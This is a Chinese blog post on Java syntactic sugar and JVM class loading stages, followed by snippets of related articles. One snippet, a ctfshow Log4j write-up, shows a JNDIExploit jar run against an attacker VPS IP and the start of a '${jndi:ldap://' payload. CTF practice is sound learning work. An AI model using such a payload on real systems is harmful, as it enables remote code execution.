JVM——类加载与字节码技术—编译期处理+类加载阶段

3.编译期处理

编译期优化称为语法糖

3.1 默认构造器

3.2 自动拆装箱

java基本类型和包装类型之间的自动转换。

 

3.3泛型集合取值

 

在字节码中可以看见,泛型擦除就是字节码中的执行代码不区分是String还是Integer了,统一用Object. 

对于取出的Object,这个checkcast用于转换Object为Integer类型。 

可以看见局部变量类型表里面包含了方法参数的泛型信息。 

 

 泛型反射

 输出里拿到了两个参数的原始类型List和Map。

这里除了能拿到方法参数上的泛型信息,还能拿到返回值的泛型信息。

 

 

3.4可变参数

 

3.5 foreach 循环

 如果遍历的是List集合,生成代码如下

 

 

3.6 switch 字符串

一个switch变成了两个switch,通过字符串的哈希码进行匹配。

 

 

 

 

3.7 switch 枚举

3.8枚举类

这玩意的本质也是一个class,里面的两个值就是这个class的两个实例对象。

跟普通类的最大区别:普通类的实例个数是无穷,枚举类的实例个数有限。

转换后因为这个class不能再被继承,所以加上了final关键字。并继承了一个支持泛型的枚举父类

 

3.9 try-with-resources

主要作用是简化资源的关闭,只要按照下面的语法在try后面括号内进行资源的创建就可以省略finally中的资源关闭。

编译器会帮助生成finally的代码。 

 

3.10方法重写时的桥接方法

编译器多加了一个真正的方法重写,在其内部调用了我们重写的m方法返回Integer。

该合成方法可以重名,只在jvm内部使用。 

3.11匿名内部类

 额外生成的这个类是外部类名称+$1

 

 因为转换后的类已经变成有两个方法了,所以要加多一个参数接收传进来的x,并传给run方法。

匿名内部类引用外部局部变量必须是finall的原因。 

4.类加载阶段

类的生命周期有如下阶段

  1. 加载(Loading):在加载阶段,类的字节码被加载到JVM的内存中。这包括从文件系统、网络等位置加载类的字节码,并将其转换为JVM能够理解的数据结构。加载阶段的结果是在方法区(Method Area)创建一个代表该类的Class对象。

  2. 连接(Linking):连接阶段将加载的类与其他类和资源进行关联,以便正确地解析和执行。连接阶段可以进一步分为三个子阶段:

    • 验证(Verification):验证阶段确保类的字节码符合JVM规范,并且不会引发安全问题或错误。
    • 准备(Preparation):在准备阶段,为类的静态变量分配内存并初始化为默认值,例如数值类型初始化为0,引用类型初始化为null。
    • 解析(Resolution):解析阶段将符号引用(如类、方法、字段的符号名称)解析为直接引用,以便在后续的执行阶段中能够准确访问相关内容。
  3. 初始化(Initialization):初始化阶段是类生命周期中的关键阶段,它负责执行类的静态初始化代码块和静态变量的赋值。在该阶段,JVM确保静态变量按照预期值进行初始化,静态初始化块被执行,构造器也可以被调用,但仅限于初始化静态字段。初始化阶段标志着类已准备好被使用。

  4. 使用(Usage):在初始化阶段之后,类就可以被使用了。这包括通过创建对象、调用类的方法、访问静态变量等方式来使用类。

  5. 卸载(Unloading):如果某个类不再被引用,JVM可能会在某些情况下将其卸载,释放对应的内存和资源。类的卸载是一个可选的过程,通常由垃圾回收器决定。

需要注意的是,类的生命周期可能因为具体的JVM实现、加载方式、类加载器等因素而有所不同。上述阶段的顺序和细节可能会因JVM的版本和配置而有所变化。

从大方面来说分为加载,连接,和初始化阶段。

4.1加载

加载阶段Java虚拟机需要完成以下三件事:

  1. 通过一个类的全限定名来获取定义此类的二进制字节流。
  2. 将这个字节流所代表的静态存储结构转化为方法区的运行时数据结构。
  3. 在内存中生成一个代表这个类的java.lang.Class对象,作为方法区这个类的各种数据的访问入口

java_mirror属性起到桥梁作用(c++数据结构和java的桥梁),java的对象,要想访问它的Klass信息不能直接访问,要通过java_mirror镜像访问。

常用的XXX.class不是指Klass,而是java_mirror。

如果该类有父类或接口没有加载,会先加载父类和接口,才会轮到这个类加载。

类的字节码被加载到元空间,构成instanceKlass数据结构。其中 _java_mirror是java的类镜像,它持有该类在堆内存中的地址,堆内存中的类对象也持有instanceKlass在本地内存中的地址。

用new关键字创建person的实例对象时,每个实例对象都有自己的对象头是16个字节,其中八个字节对应着对象的class地址。

如果要通过实例对象获取其class信息,会先访问对象头,然后通过class地址先找到堆中的类对象,再间接找到元空间的instanceKlass.

 扩展:我们通过类模版创建对象后,此时对象头中有8个字节对应 类模版(class)在堆内存的地址,如果想调用普通方法,或者 get,set 方法就要通过对象头中类模版地址找到元空间中的instanceKlass,再通过instanceKlass获取 field,methods 信息。

  1. instanceKlass(元空间中的类元信息): instanceKlass 是在HotSpot虚拟机的元空间中存储的一种数据结构,它表示已加载的类的元信息。这个数据结构包含了类的名称、修饰符、方法、字段、父类、接口等信息。在HotSpot的内部实现中,instanceKlass 是用于支持虚拟机的运行时类型信息和方法的查找调用等操作。它和Java中的Class对象类似,但是在内存结构上可能有所不同。

  2. Class对象(堆中的类元信息): 在Java中,每个已加载的类都有一个与之对应的Class对象,用来表示类的元信息。Class对象存储了类的名称、修饰符、方法、字段、父类、接口等信息,也支持反射操作。这个Class对象是存在于堆内存中的,它是Java反射机制的核心。

虽然instanceKlass 和Class对象在某种程度上都用来表示类的元信息,但它们的实现和作用在内部有所区别。instanceKlass 主要在HotSpot虚拟机的内部实现中使用,而Class对象是Java编程中常用的反射机制的一部分。这两者的关系是,instanceKlass 是HotSpot虚拟机内部用于支持类的元数据管理的一部分,而Class对象则是供Java程序员在运行时获取和操作类信息的关键工具。

4.2 链接

验证(Verification)

验证阶段确保类的字节码符合JVM规范,并且不会引发安全问题或错误。

 随便修改一下编译后class文件就会验证报错。

准备(Preparation)

在准备阶段,为类的静态变量分配内存并初始化为默认值,例如数值类型初始化为0,引用类型初始化为null。

静态变量跟类对象存储在一起,都在堆中。早期的jvm,静态变量跟着instanceKlass存储在方法区。

 

public class Example {static int staticVariable = 42;public static void main(String[] args) {Example instance = new Example();// 通过类名访问静态变量System.out.println(Example.staticVariable); // 输出: 42// 通过类对象访问静态变量System.out.println(instance.staticVariable); // 输出: 42}
}

在这个示例中,通过类对象 instance 访问了静态变量 staticVariable,并且与通过类名直接访问的结果相同。

需要注意的是,尽管在JDK 8及之后版本中支持通过类对象访问静态变量,但这并不是很常见的用法,通常还是使用类名来访问静态变量更加清晰和符合约定。

通过上面代码可以知道,a只是分配了空间,没有赋值。b在准备阶段没有赋值,只是准备好了语句,还要等到初始化阶段,而c,d已经赋完值了。

解析(Resolution)

解析阶段将常量池中的符号引用(如类、方法、字段的符号名称)解析为直接引用,以便在后续的执行阶段中能够准确访问相关内容。

默认情况下,类的加载都是懒惰式的,用到了类C,没有用到类D的话,类D不会主动加载。

 上面代码准备了一个类加载器,调用了loadClass方法加载类C,但这只会,进行类C的加载,不会进行解析和初始化。

new C()会进行C的加载解析和初始化,并把D也给加载解析和初始化。

类D未解析的情况时

 在HSDB中连接到该进程上,只能看见有类C的存在,类C的常量池中可以看见类D前面标注了常量_未经解析类,仅仅是个符号。

new C(),类D被解析时

现在C,D都有了,并且,类C的常量池里面也知道了类D的内存地址。

这就是一个符号引用,一个直接引用。解析阶段就是让符号引用变成直接引用。 

4.3 初始化

初始化阶段是类生命周期中的关键阶段,它负责执行类的静态初始化代码块静态变量的赋值。在该阶段,JVM确保静态变量按照预期值进行初始化,静态初始化块被执行,构造器也可以被调用,但仅限于初始化静态字段。初始化阶段标志着类已准备好被使用。

<cinit>()v方法

初始化即调用<cinit>()V,虚拟机会保证这个类的[构造方法]的线程安全

发生的时机

加载阶段就已经生成了mirror_class(也就是类.class),所以不会触发静态代码块。数组存的也还是Minor对象,在加载时就创建了。

4.4 练习

a,b都不会导致类的初始化,两个都是final的基本类型,在准备阶段就已经赋值了。

c会导致类的初始化,这是包装类型,底层会调用Integer.valueOf(20).

字节码的静态代码块中能看见有关C的操作,说明C是在初始化阶段进行。

 

 单例模式就是保证在jvm中,这个类的对象只有一个。

静态内部类的好处是可以访问外部类的资源,构造方法。所以私有构造方法也可以调用。

只要不调getIntance(),就不会触发LazyHolder的加载连接和初始化。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/50311.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ctfshow-Log4j复现-log4j复现

1、买VPS&#xff0c;打开mobax进行ssh连接&#xff0c;开两个终端 一个终端开启监听 另一个终端进入JNDIExploit-1.2-SNAPSHOT.jar所在的目录jndiexploit执行下面命令 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 116.62.152.84生成payload 构造payload ${jndi:ldap://…

2023年8月22日OpenAI推出了革命性更新:ChatGPT-3.5 Turbo微调和API更新,为您的业务量身打造AI模型

&#x1f337;&#x1f341; 博主猫头虎 带您 Go to New World.✨&#x1f341; &#x1f984; 博客首页——猫头虎的博客&#x1f390; &#x1f433;《面试题大全专栏》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33a; &a…

Linux面试笔试题(6)

91、6块300G的硬盘做raid5&#xff0c;新的设备容量是多大&#xff08;C&#xff09; A 900G B 1800G C 1500G D 300G 6300G−300G 1500G 由于一块硬盘用于奇偶校验&#xff0c;所以设备容量将是1500G. Raid 5是一种磁盘阵列&#xff0c;将数据分散到多个硬盘上以提高性能和可…

Xmake v2.8.2 发布,官方包仓库数量突破 1k

Xmake 是一个基于 Lua 的轻量级跨平台构建工具。 它非常的轻量&#xff0c;没有任何依赖&#xff0c;因为它内置了 Lua 运行时。 它使用 xmake.lua 维护项目构建&#xff0c;相比 makefile/CMakeLists.txt&#xff0c;配置语法更加简洁直观&#xff0c;对新手非常友好&#x…

libdrm全解析一 —— 总述

本文参考以下博文&#xff1a; Linux libdrm代码完全解析 LIBDRM使用 最简单的DRM应用程序 &#xff08;single-buffer&#xff09; Linux libdrm库入门教程 10. DRM图形显示框架 LIBDRM 特此致谢&#xff01; 一、介绍 BLFS中给出的介绍 libdrm提供了一个用户空间库&…

PostgreSQL-研究学习-介绍与安装

PostgreSQL-预研 是个很厉害的数据库的样子 ψ(*&#xff40;ー)ψ 官方文档&#xff1a;http://www.postgres.cn/docs/12/ 总的结论和备注 PgSQL 支持对JSON的支持很强大&#xff0c;以及提供了很多数学几何相关的数据类型【例&#xff1a;点&#xff0c;线条&#xff0c;几何…

java开源 VR全景商城 saas商城 b2b2c商城 o2o商城 积分商城 秒杀商城 拼团商城 分销商城 短视频商城 小程序商城搭建 bbc

​ 1. 涉及平台 平台管理、商家端&#xff08;PC端、手机端&#xff09;、买家平台&#xff08;H5/公众号、小程序、APP端&#xff08;IOS/Android&#xff09;、微服务平台&#xff08;业务服务&#xff09; 2. 核心架构 Spring Cloud、Spring Boot、Mybatis、Redis 3. 前…

回归预测 | MATLAB实现BES-SVM秃鹰搜索优化算法优化支持向量机多输入单输出回归预测(多指标,多图)

回归预测 | MATLAB实现BES-SVM秃鹰搜索优化算法优化支持向量机多输入单输出回归预测&#xff08;多指标&#xff0c;多图&#xff09; 目录 回归预测 | MATLAB实现BES-SVM秃鹰搜索优化算法优化支持向量机多输入单输出回归预测&#xff08;多指标&#xff0c;多图&#xff09;效…

python中的matplotlib画直方图(数据分析与可视化)

python中的matplotlib画直方图&#xff08;数据分析与可视化&#xff09; import numpy as np import pandas as pd import matplotlib.pyplot as pltpd.set_option("max_columns",None) plt.rcParams[font.sans-serif][SimHei] plt.rcParams[axes.unicode_minus]Fa…

centos8安装mysql

1.首先用finalShell远程连接到服务器 2.如果服务器之前安装过mysql请先卸载,我这里是用yum安装的&#xff0c;现在通过yum去卸载 yum remove -y mysql find / -name mysql //找到残留的文件&#xff0c;再通过rm -rf去删除对应的文件3.下面正式开始安装 &#xff08;1&#…

基于微信小程序+Springboot校园二手商城系统设计和实现

博主介绍&#xff1a;✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、目前专注于大学生项目实战开发,讲解,毕业答疑辅导✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3…

【PHP】数据类型运算符位运算

文章目录 数据类型简单&#xff08;基本&#xff09;数据类型&#xff1a;4个小类复合数据类型&#xff1a;2个小类特殊数据类型&#xff1a;2个小类类型转换类型判断整数类型浮点类型布尔类型 运算符赋值运算符算术运算符比较运算符逻辑运算符连接运算符错误抑制符三目运算符自…

Apache ShenYu 学习笔记一

1、简介 这是一个异步的&#xff0c;高性能的&#xff0c;跨语言的&#xff0c;响应式的 API 网关。 官网文档&#xff1a;Apache ShenYu 介绍 | Apache ShenYu仓库地址&#xff1a;GitHub - apache/shenyu: Apache ShenYu is a Java native API Gateway for service proxy, pr…

UE学习记录03----UE5.2 使用MVVM示例

1.打开ue5.2新建C项目 2.项目中通过类导向新建C类&#xff0c;父类选择为UMVVMViewModelBase&#xff0c;创建完成会自动打开vs 3.在VS中对新建的类进行宏定义 使用 C 类向导 创建的类声明自动通过 UCLASS() 宏进行处理。 UCLASS() 宏使得引擎意识到这个类的存在&#xff0c;并…

【Rust】Rust学习 第十九章高级特征

现在我们已经学习了 Rust 编程语言中最常用的部分。在第二十章开始另一个新项目之前&#xff0c;让我们聊聊一些总有一天你会遇上的部分内容。你可以将本章作为不经意间遇到未知的内容时的参考。本章将要学习的功能在一些非常特定的场景下很有用处。虽然很少会碰到它们&#xf…

上海交大ACM班总教头团队重磅新作,带你动手学机器学习(文末赠书4本)

目录 0 写在前面1 什么是机器学习&#xff1f;2 ACM 班总教头&#xff1a;俞勇3 动手学习机器学习赠书活动 0 写在前面 机器学习强基计划聚焦深度和广度&#xff0c;加深对机器学习模型的理解与应用。“深”在详细推导算法模型背后的数学原理&#xff1b;“广”在分析多个机器…

怎么制作sip网络寻呼话筒,sip任意呼叫主机,

怎么制作sip网络寻呼话筒&#xff0c;sip任意呼叫主机&#xff0c; 所需材料一&#xff1a;SV-2103VP sip网络音频模块 功能如下&#xff1a; SV-2101VP/ SV-2103VP使用了AT32F437VGT7处理器构架加专业的双向音频Codec编解码器&#xff0c; 处理器负责数据的传输&#xff0c…

chapter 3 Free electrons in solid - 3.2 量子自由电子理论对一些现象的解释

3.2 自由电子气的热容 Heat capacity of free electron gas 3.2.1 计算自由电子的热容 Calculation of Heat Capacity of free Electrons T>0K, total energy of free electrons: E ∫ E d N 3 5 N e E F 0 [ 1 5 12 π 2 ( k B T E F 0 ) 2 ] E \int EdN \frac{3}{5}…

最新APP下载官网源码带app预览,

适合做软件&#xff0c;游戏&#xff0c;产品&#xff0c;企业工作室官网&#xff0c;有能力的可自行二开。 源码&#xff1a;星域社区官网源码.zip - 蓝奏云

ARL资产侦察灯塔 指纹增强

项目&#xff1a;https://github.com/loecho-sec/ARL-Finger-ADD 下载项目后运行 python3 ARl-Finger-ADD.py https://你的vpsIP:5003/ admin password该项目中的finger.json可以自己找到其他的指纹完善&#xff0c;然后运行脚本添加指纹。